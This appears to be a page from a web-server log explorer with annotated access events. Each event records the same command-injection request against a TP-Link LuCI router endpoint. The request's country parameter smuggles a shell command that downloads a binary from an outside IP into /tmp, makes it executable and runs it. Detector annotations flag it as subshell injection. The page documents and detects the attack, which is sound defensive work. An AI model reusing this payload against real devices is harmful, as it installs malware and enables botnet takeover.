Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#28 2025-05-20 11:29:59 event 9348653 GET 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#29 2025-05-20 11:29:59 event 9348653 GET 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#30 2025-05-20 11:29:59 event 9348653 GET 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#31 2025-05-19 17:25:06 event 8044580 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#32 2025-05-19 17:25:06 event 8044575 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#33 2025-05-19 17:25:06 event 8044580 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#34 2025-05-19 17:25:06 event 8044580 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#35 2025-05-19 17:25:06 event 8044580 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 r; ./r tplink; rm -rf r`) http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=cou'

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 r; ./r tplink; rm -rf r`) http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=cou'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#36 2025-05-19 17:25:06 event 8044575 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#37 2025-05-19 17:25:06 event 8044575 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#38 2025-05-19 17:25:06 event 8044575 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 r; ./r tplink; rm -rf r`) http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=cou'

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 r; ./r tplink; rm -rf r`) http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=cou'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#39 2025-05-19 17:25:06 event 8044580 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#40 2025-05-19 17:25:06 event 8044575 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://139.59.53.236:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#41 2025-05-19 17:25:04 event 8044564 GET 301 bytes 178

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#42 2025-05-19 17:25:04 event 8044563 GET 301 bytes 178

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#43 2025-05-19 17:25:04 event 8044564 GET 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#44 2025-05-19 17:25:04 event 8044564 GET 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#45 2025-05-19 17:25:04 event 8044564 GET 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#46 2025-05-19 17:25:04 event 8044563 GET 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#47 2025-05-19 17:25:04 event 8044563 GET 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#48 2025-05-19 17:25:04 event 8044563 GET 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#49 2025-05-19 17:25:04 event 8044564 GET 301 bytes 178

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#50 2025-05-19 17:25:04 event 8044563 GET 301 bytes 178

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

Log Explorer

Annotated access events

Confirm Action